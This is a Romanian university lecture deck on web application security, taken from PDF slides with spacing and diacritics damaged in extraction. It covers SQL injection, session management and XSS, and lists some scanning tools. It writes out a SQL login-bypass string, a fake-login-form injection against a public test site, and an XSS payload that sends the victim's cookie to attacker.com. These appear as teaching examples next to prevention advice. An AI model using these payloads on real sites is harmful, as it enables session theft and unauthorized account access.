Informatica Economica

Securitatea aplica.iilor web

Prof. univ. dr. Fl. NASTASE

CUPRINS
1.Caracteristici ale aplica.iilor web
2.Conceptede bazaale securitatii
3.96% din aplica.iileweb au vulnerabilita.i
4.Riscurialesecurita.ii aplica.iilor
5.WASP Top 10 Vulnerabilita.i ale aplica.iilor web
6.Injection
7.Nerespectarea/evitarea autentificarii.i a managementuluisesiunilorCross Site S
cripting
8.Cross-Site Scripting (XSS)
9.Instrumente de scanare

Caracteristici ale aplica.iilor web

Interac.iunea client -server
Arhitectura n-tier
Acces de la distan.a
Eterogenitate
Livrare de con.inut prin HTTP
Acces concuren.ial
Managementul sesiunilor
Autentificarea .i autorizarea

Concepte de baza ale securitatii

Securitateaelectronicaestedefinitacafiind:
politicile,recomandarilesiactiunilenecesareminimizariirisculuiasociatefectuariit
ranzactiilorelectronice,risccesereferalabresensistem,
intruziunisaufurt
sau
oricemijloc,tehnicasauprocesutilizatpentruaprotejainformatiileunuisistem.

Untestdesecuritateesteometodadeevaluareasecurita.iiunuisistemdecalculsauauneire.e
leprintr-ometodologiedevalidarea.iverificareaaeficien.eicontroalelordesecuritate
aleaplica.iilor.
Untestpentrusecuritateaplica.ieiwebseconcentreazadoarpeevaluareasecurita.iiuneiap
lica.iiweb.
Procesuldetestareimplicaoanalizaactivaaaplica.ieipentrudepistaoricedeficien.a,def
ectetehnicesauvulnerabilita.i.
Oriceproblemadesecuritatecareesteidentificatavafiprezentataproprietaruluisistemul
ui,mpreunacuoevaluareaimpactului,
precum.iopropuneredeatenuaresauosolu.ietehnica.
Concepte de baza ale securitatii

Ovulnerabilitateesteoslabiciunecarepoatedeclansaaccidentalsauintentionatoanumitae
xploatareasistemului.
Osursadeamenintare:oricecircumstantasauevenimentcarearputeaproducepagubentr-unsist
emIT.
Sursadeamenintaresepoatefolosideoanumitavulnerabilitateasistemului.
Osursadeamenintarenupoatereprezentaunriscatuncicndnuexistaovulnerabilitatepecaresa
opoataexploata.
Concepte de baza ale securitatii

Concepte de baza ale securitatii

n general, vulnerabilita.ile uneiaplica.iiweb pot fi exploatateprin:
intrari, ie.iri
.irurile de caractere ale unei interogari (cum ar fi,
www.nume_server.domeniu/file.php?id=309)
parametrii unui formular (exemplu, &nume=ionescu&telefon=22221212)
antetele HTTP
cookie-uri

Vulnerabilita.i exista la fiecare nivel al unei aplica.ii web

Server Web
Cod interfa.a utilizaror
FrontendAplica.ie
BackendAplica.ie
Baze de date
Date
Date invalide pot
exploata
vulnerabilita.i ale
aplica.iei,
ob.inndu-se
accesul neautorizat
la conturi, resurse
ale aplica.iei, datele
sensibile si poate
duce la un refuz al
serviciilor aplica.iei.
Intrare valida
HTML/HTTP
Browser
Intrare invalida
HTML/HTTP
Conceptede bazaale securitatii

Concepte de baza ale securitatii

Topul tarilor cu site-uri infectate

Procentajul aplica.iilor testate cu

vulnerabilita.i
(sursa: Cenzic_Vulnerability_Report_2014.pdf )
96% din aplica.iileweb au vulnerabilita.i
Numarul mediu de
vulnerabilita.i pe aplica.ie
(sursa: Cenzic_Vulnerability_Report_2014.pdf )
Aplica.iilewebaudevenitvectorulprincipalpentruhackeri.
Testeledepenetrare.iserviciiledeevaluarepotidentificavulnerabilita.ile,
permi.ndrezolvarealornaintecahackeriisalegaseasca.isaleexploateze.

Riscurialesecurita.ii aplica.iilor
Aplica.iilewebpotfifolositedeatacatorindiversefeluri,pentruafacerauuneiafacerisauu
neiorganiza.ii.
Fiecareatacpoatereprezintaunrisccarearputea,saunu,safiesuficientdegravpentruaisea
cordaaten.ie.
(sursa: OWASP Top10 2013.pdf)

OWASP Top 10 Vulnerabilita.i ale

aplica.iilor web
(Sursa: OWASP Top10 2013.pdf)

OWASP Top 10 Vulnerabilita.i ale

aplica.iilor web
(Sursa: www.owasp.org)

(sursa: Cenzic_Vulnerability_Report_2014.pdf)
Principalele vulnerabilita.i
CSRF (Cross-Site Request Forgery)

Injection
1.Nn

Agent de
amenin.are
Vectorii de
atac
Vulnerabilita.i de
securitate
Impact
tehnic
Impact
asupra afacerii
Specific
aplica.iei
Exploatabilitate
u.oara
Extinderecomuna
Detectabilitate
medie
Impact sever
Specific afacerii/
aplica.iei
Oricine care
poate trimite
datele nesigure
n sistem,
inclusiv
utilizatori
externi,
utilizatori interni
.i administratori.
Atacatorul trimite
text simplu, care
exploateaza sintaxa
interpretorului vizat.
Aproape orice sursa
de date poate fi un
vector de injectare,
inclusiv surse
interne.

Injection flaws apar atunci cnd

o aplica.ie trimite date nesigure
spre a fi interpretate.
Injection flaws sunt foarte
raspndite. Ele sunt adesea
gasite n SQL, LDAP, XPath,
sau interogari NoSQL; comenzi
OS; interpretoare XML, antete
SMTP, argumente de programe
etc.
Injection flaws se descopera
u.or prinexaminarea codului,
dar adesea greu de determinat
prin testare.
Injectarea poate
duce la pierderi
de date sau
coruperea lor,
lipsa de
responsabilitate,
sau refuzul
accesului.
Se are n vedere
valoarea de afacere
a datelor afectate .i
platforma de pe
care se
interpreteaza
intrarile. Toate
datele pot fi furate,
modificate sau
.terse. Ar putea fi
prejudiciata chiar
reputa.ia afacerii.

Injection
Injectionflaws(puncteslabedeinjec.ie),cumarfiinjec.iaSQLsauLDAP(LightweightDirect
oryAccessProtocol)apareatuncicnddatecarenuprezintancrederesunttrimiselauninterpret
orcaparteauneicomenzisauauneiinterogari.Dateleatacatoruluipotn.elainterpretorulpr
inexecutareaunorcomenzimodificatesauprinaccesareadatelorneautorizate.

Majoritateaaplica.iilorwebfolosescbazededatepentrustocareadatelor.
LimbajulSQLesteunstandardinterna.ionalcestabile.teregulile.isintaxacomenzilorcare
potfitransmiseunuisistemdegestiuneabazelordedate,
pentrumanipulareadatelorstocate.

SQLInjection
OvulnerabilitatedetipSQLinjectionexistaatuncicndunutilizatorrauinten.ionatpoate:
-introduceoricedatentr-ointerogareSQLtransmisauneibazededate;
-modificalogicadeclaratiei,astfelnctsaseexecuteoactiunediferita,fiindposibilfurtul
datelorprivate.
SQLinjectionesteunadincelemaifrecventevulnerabilita.i fiindunadevaratpericolpentrua
plica.iileweb.

SQLInjection
ncazulunuiatacSQLinjectionreu.it,sepot:
-citidatesensibiledinbazadedate;
-modificadatedinbazadedate(Insert/Update/Delete);
-executaoperatiunideadministrareabazeidedate(cumarfishutdownDBMS);
-recuperareacontinutuluiunuifisierprezentnsistemuldefi.ierealbazeidedate;
-emitereadecomenzipentrusistemuldeoperare.

SQLInjection
FieurmatoareainterogareSQL:
Select*FromusersWhereemail='$login_email'ANDpassword='$login_password
unde:
-$login_email-textulintrodusdeutilizatorlalogarepentrue-mail
-$login_password-textulintrodusncmpulpentruparola.

Daca$login_password=""or""="",comandarezultatavadeveni:
Select*FromusersWhereemail='$login_email'ANDpassword=""or""=""
conditiafinala(valoareapentruparola)vafiadevaratapentruoricee-mail,
conectareasepoatefacefaraasecunoa.teparolacorectapentrue-mailulselectat.
SQLInjectionsebazeazapefaptul""=""estentotdeaunaadevarat.

Injection
Prevenirea injec.iei impune pastrarea datelor nesigure separat de
comenzi .i interogari. Apoi:
.este preferabil sa se utilizeze o interfa.a API sigura sau o interfa.a
parametrizata;
.n cazul n care interfa.a API parametrizata nu este disponibila, trebuie sa se
urmareasca cu aten.ie caracterele speciale;
.se recomandata validarea intrarilor.

Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Agent de
amenin.are
Vectorii de
atac
Vulnerabilita.i de
securitate
Impact
tehnic
Impact asupra
afacerii
Specific aplica.iei
Exploatabilitate
medie
Extinderepe
scara larga
Detectabilitate
medie
Impact sever
Specific afacerii
/aplica.iei
Vor fi lua.i n
considerare
atacatorii externi
anonimi, precum .i
utilizatorii care au
propriile lor conturi
.i care ar putea
ncerca sa ob.ina
informa.ii despre
conturile altora. De
asemenea, multa
aten.ie la
utilizatorii interni,
care doresc sa-.i
ascunda ac.iunile
lor.
Atacatorul
folose.te unele
defecte din
func.iile de
autentificare sau
pentru
managementul
sesiunilor (cum

ar fi, expunerea
conturilor,
parolelor, IDurilor de sesiuni)
pentru a prelua
rolul adevaratului
utilizator.
Dezvoltatorii realizeaza, n
mod frecvent, scheme
personalizate pentru
autentificarea .i managementul
sesiunilor, dar programarea
corecta a acestora este dificila.
Ca rezultat, aceste sisteme
personalizate au frecvente
imperfec.iuni n zonele de
logout, de managementul
parolelor, ntrebari secrete,
actualizari de conturi etc.
Identificarea micilor scapari
poate fi uneori greoaie.
Aceste
imperfec.ini
pot permite
unora sau chiar
tuturor
conturile sa fie
atacate.
Conturi
privilegiate
sunt frecvent
vizate.
Se ia n considerare
valoarea de afacere a
datelor sau func.iilor
aplica.iei afectate;
dar .i impactul
afacerii la expunerea
publica a
vulnerabilita.ii.

Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Identificarea reprezintaproceselesiprocedurilenecesarepentrustabilireauneiidentitat
iunicepentruunutilizatorsauoentitatencadrulunuisistem/aplica.ie.
Identificareapermitecontabilizareatuturoroperatiunilorindividualesiprevineaccesu
lneautorizat.
Autentificarea procedurapentruverificareaidentitatiientitatiicaresolicitaacceslasis
tem/aplica.ie,procesulprincaresistemulvalideazainformatiiledeconectareoferitedee
ntitateautilizatoare.
Atacatorularedouaposibilita.ipentruadepa.iunsistemdeautentificare:
.utilizareaunordatedeidentificare(numeutilizator/parola)ob.inutenmodfraudulos;
.evitareaverificariiautentificarii.

Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Pentruidentificareasimonitorizareaactivita.iiunuiutilizatorpeopaginaweb,
acestuiaiseatribuieuntokenunicdesesiune,deobiceisubformadecookie-uri.
Cookie-ulreprezintaunmecanismstandardcarepermitecaunserverWebsatrimitaanumiteinfo
rma.iipecalculatorulunuiutilizator,prinintermediulbrowser-ului,sasoliciteclientu
luisastochezeacesteinforma.iipentruca,ulterior,navigatorulsaretransmitainforma.i
ilecatreserverulweb.
Uncookieconstadintr-operechenume=valoare
Capacitateaserver-uluiwebdearecunoa.tecaocererefacepartedintr-osuccesiunedecereri
delaacela.iclientesteutila,spreexemplu,pentruaccesareauneizoneprotejatecuparolacazncareutilizatorulseautentificaodata,apoitoatecereriledelaacestclientsuntconsid
erateautentificatepnalalogout.

Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
HTTPesteunprotocolstate-less.Prinurmare,unserverwebnupoatedeterminadacaocerereest
elegatalogicdeunaanterioaratransmisadelaacela.iclient.

Cookie-urilesuntfolositedeserverelewebpentruaputeadiferen.iautilizatorii.ipentrua
puteareac.ionanfunc.iedeac.iunileacestorancadruluneisesiuniformatedinmaimultetranz
ac.iiseparate.
Sesiuneaestemecanismulprincaresepermitere.inereainforma.iilordesprestareaclientul
ui.
Cookie-urileaufostinventatepentruaseimplementaunco.decumparaturivirtual:utilizato
rulmaintiseautentifica(login),apoinavigheazapesite,adaugasaueliminanvoieobiectedinc
o.,apoiafi.eazacon.inutulco.ului,cerecalculareapre.uluifinal,sehotara.tesacomand
e(orisarenun.e),iarlasfr.itnchidesesiunea(logout).
Odataautentificat,utilizatorulesteidentificatdoardupacookie-uldesesiune,dacaunata
catorlcompromite,ghicindu-ivaloareasaufurndu-l,reusestesatreacacusuccesdemecanismu
ldeautentificareapaginiirespectivesisaiialoculvictimei.

Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
PrinJavaScriptsepoatecrea,citi,.i.terge.icookie-urilecuproprietatea

document.cookie.
.Creareaunuicookie

document.cookie="username=JohnDoe;expires=Thu,
18Dec201412:00:00UTC";
Sepoateadaugadatadeexpirare-nmodimplicit,cookie-uleste.terscndbrowser-ulestenchis.
.Citireaunuicookie

varx=document.cookie;
SintaxapentrucreareaunuicookieprinPHP:

setcookie(name, value, expire, path, domain, secure, httponly);

nPHPosesiuneestestartataprinfunc.iasession_start().

Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Metodedeprevenireavulnerabilitatilorlegatedemanagementulsesiunilor:
.Complexitateaparolelor:restric.ionareaparolelorlaunanumitnumarminimdecaractere,
tipuridecaractere,regulideschimbareaperiodicaaparoleloretc.
.Utilizareaparolelor:utilizatoruluisaiselimitezenumaruldencercaridelogarentr-oanum
itaunitatedetimp,tentativeleesuatesafieconsemnate.
.Schimbareaparolelor:sasefoloseascaunsingurmecanismdeschimbareaparolelorindifere
ntdecircumstantelencareacestlucrusentmpla.
.Stocareaparolelor:toateparoleletrebuiecriptate,indiferentdeloculundesuntstocate
.
.ProtejareaID-uluidesesiune:sesiuneautilizatoruluiartrebuiprotejataprinSSL(nacest
modcookie-uldesesiunenuarputeafipreluatdeentita.ineautorizate).
.Listadeconturi:aplica.iileartrebuiproiectatenasafelnctsanupermitaaccesulutilizator
ilorlalistadeconturidepesite.

Cross-Site Scripting (XSS)

CrossSiteScripting(prescurtatXSS)esteovulnerabilitatewebcepermiteutilizatorului/a
tacatoruluisaintroducauncodpersonalntr-opaginaweb.
Vulnerabilitateaestefolositapentruafortaafisareaunuicod(scrisdeobicein(X)HTML,Java
Script,ActiveX,Java,Flashetc.)malitiosntr-opaginaweb,caresevaexecutaulteriornbrows
er-ulunuiutilizator.

XSSpermiteatacatorilorsaexecutescript-urinbrowser-ulvictimei.Cuajutorulscripturilo
rsepotdeturnasesiunideutilizator,.tergesite-uriweb,redirec.ionautilizatorulspres
ite-urimali.ioasesaufuradiferiteinforma.iiutiledespreutilizatori.
Acesttipdeatacnuarecatintaserverulsite-uluiweb,acestafiinddoarogazda,
adevaratatintaaataculuiesteutilizatorul.Vulnerabilitateaestedetipclient-side.
AtacurileXSSsefolosescdedatelecevindinexterior,cumarfi:formulare,webe-mail,fisier
eledetipXMLsauRSS.

Cross-Site Scripting (XSS)

Atac XSS tipic
(sursa: http://www.acunetix.com/websitesecurity/xss/)

Cross-Site Scripting (XSS)

Agent de
amenin.are
Vectorii de
atac
Vulnerabilita.i de
securitate
Impact
tehnic
Impact asupra
afacerii
Specific aplica.iei
Exploatabilitate
medie
Extinderepe
scara larga
Detectabilitate
u.oara
Impact
moderat
Specific afacerii
/aplica.iei
Oricine care poate
trimite datele
nesigure n sistem,
inclusiv utilizatori
externi, utilizatori
interni .i
administratori.
Atacatorul
trimite scripturi
bazate pe text,
care vor fi
interpretate n
browser. Aproape
orice sursa de
date poate fi un
vector de atac,
inclusiv surse
interne, cum ar fi
datele din baza
de date.
XSSesteceamairaspanditabre.adesecuritateaaplica.iilorweb.XSSapareatuncicndoaplica
.ieincludeposibilitateacautilizatorulsafurnizezedateprintr-opaginaweb,faraavalid
asauevaluaacelcon.inutnmodcorespunzator.ExistatreitipurideXSS:1)stocate,

2)reflectate.i3)bazatpeDOM.
XSSsedetecteazadestuldeu.orprintestaresauanalizadecod.
Atacatorii pot
executa scripturi n browserul unei victime
.ipotdeturna
sesiunile
utilizatorilor,
.terge site-uri
web, introduce
con.inut ostil,
redirec.iona
utilizatorii etc.
Se va lua n
considerare valoarea
de afacere a
sistemului afectat .i
toate datele pe care
le proceseaza,
precum .i impactul
asupra afacerii prin
expunerea publica a
vulnerabilita.ii.

Cross-Site Scripting (XSS)

Atacurile XSS sunt:
-atacuri XSS persistente (memorat)
.codulmali.iosestepermanentstocatpesite-ulaplicatieintr-opaginawebcarearepotentia
lmaredeafivizitatadecatreutilizatori(comentariiledepebloguri,posturiledepeforumu
ri,chat-urietc.).
.odataceutilizatorulviziteazapaginainfectata,executiaesteautomata;
.nuexistacaleprincareutilizatorulsepoateapara.

Cross-Site Scripting (XSS)

Scenariul pentru XSS persistent

Cross-Site Scripting (XSS)

Atacurile XSS sunt (2):
-atacurileXSSnon-persistente(reflectat)-dateleprovenitedelaunutilizatorsuntfolos
iteimediatdeserverpentruageneraonouapagina;
codulmali.iosestereflectatdecatresite-ulaplicatiei.
-AtacuridetipDOM(DocumentObjectModel) printr-unscriptJavaScriptsepoateaccesaunpara
metruURLsisepoatefolosiacestparametrupentruamodificapaginawebrespectiva.

Cross-Site Scripting (XSS)

Exemplu1.Fiecodulunuiformularsimplu:

<formaction= coment.php"method="post">
<inputtype="text"name="comment"value="">
<inputtype="submit"name="submit"value="Submit">
</form>
Dateletransmiseprinformularvorajungelafi.ierulcoment.phpcarelevaprelucra.Dacafi.
ierulcoment.phpcon.ine:
<?phpecho$_POST["comment"];
cumdateledeintrarenformularnusuntvalidate,s-arputeatasta:
<script>alert( Intrarefaravalidare")</script>
nbrowser-ulFirefox,rezultatulvafiofereastradealerta:

Cross-Site Scripting (XSS)

Exemplul 2. ncarcati urmatorul link n browser :
http://testasp.vulnweb.com/search.asp, se va afi.a o pagina simpla, cu un
singur cmp de intrare.

Cross-Site Scripting (XSS)

Daca se va insera urmatorul cod n caseta de cautare:
<br><br>Please login with the form below before proceeding:
<form action="destination.asp"> <table><tr><td>
Login:</td><td><input type=text length=20
name=login></td></tr><tr><td>
Password:</td><td><input type=text length=20
name=password></td></tr></table>
<input type=submit value=LOGIN></form>
.i se va activa butonul de cautare, se va afi.a:

Cross-Site Scripting (XSS)

Daca n bara de adrese a browser-ului se va introduce URL-ul:
http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with
+the+form+below+before+proceeding%3A%3C
form+action%3D%22test.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3C
td%3E%3Cinput+type%3Dtext+
length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%
2Ftd%3E%3Ctd%3E%3Cinput
+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%
3Cinput+type%3Dsubmit+value %3DLOGIN%3E%3C%2Fform%3E
Se va ob.ine acela.i rezultat ca n cazul anterior.

Cross-Site Scripting (XSS)

Exemplu 3. Aplica.ia utilizeaza date nesigure fara validare, cum ar fi n
urmatorul fragment HTML:
(String) page += "<input name='creditcard' type='TEXT

value='" +

request.getParameter("CC") + "'>";
Atacatorul modifica parametrul "CC" din browser lui la:
'><script>document.location= 'http://www.attacker.com/cgi-bin
/cookie.cgi? foo='+document.cookie</script>
AcestlucrudeterminacaID-ulsesiuniivictimeisafietrimislasite-ulatacatorului,carev
apermiteatacatoruluisadeturnezesesiuneacurentaautilizatorului.

Cross-Site Scripting (XSS)

Solu.ii pentru protejarea utilizatorilor:
.alegerea de browsere securizate;
.folosirea masinilor virtuale;
.accesarea doar a link-urilor cunoscute;
.manipularea informa.iilor despre conturi cu mare aten.ie etc.
Mai multe despre XSS .i prevenirea atacurilor n:
.OWASP DOM based XSS Prevention Cheat Sheet
(https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
.OWASP Cross-Site Scripting Article (https://www.owasp.org/index.php/Crosssite_Scripting_(XSS)
.Testing Guide: 1st 3 Chapters on Data Validation Testing
https://www.owasp.org/index.php/Testing_for_Data_Validation

Instrumente de scanare
Instrumentulpentruscanareasecurita.iiaplica.iilorwebesteun software care
comunicacu o aplica.ieweb .iidentificapoten.ialeledeficien.ede securitateale
acesteia.
Analiza atacurilor (sursa: NIST)

Instrumente de scanare
Unele din cele mai bune instrumente open source de testare a vulnerabilita.ilor
aplica.iilor web sunt (1):
.Grabber(http://rgaucher.info/beta/grabber/ ) detecteaza:
.XSS (Cross site scripting)
.SQL injection
.testareaAjax
.includerea de fi.iere File
.analizor al codului sursa JS
.verificareafi.ierelorde backup

Instrumente de scanare
Unele din cele mai bune instrumente open source de testare a vulnerabilita.ilor
aplica.iilor web sunt (2):
.Vega(https://subgraph.com/vega/ ) detecteaza:
.XSS (Cross site scripting)
.SQL injectionetc.
.Zed Attack Proxy(http://code.google.com/p/zaproxy/)

Instrumente de scanare
RIPS(http://rips-scanner.sourceforge.net/) este un instrument scris n PHP pentru
a gasi vulnerabilita.i n aplica.ii PHP folosind analiza de cod static.

Instrumente de scanare
Compararea instrumentelor pentru detectarea vulnerabilita.ilor XSS
(Cross-Site Scripting)

Instrumente de scanare
Compararea instrumentelor pentru detectarea diferitelor clase de
vulnerabilita.i.
(Sursa:https://www.netsparker.com/blog/news/comparison-web-vulnerability-scanner
s-netsparker/)

Bibliografie
1.https://www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf
2.https://www.owasp.org/index.php/Testing_for_DOMbased_Cross_site_scripting_(OWASP-DV-003)
3.http://download.oracle.com/oll/tutorials/SQLInjection/index.htm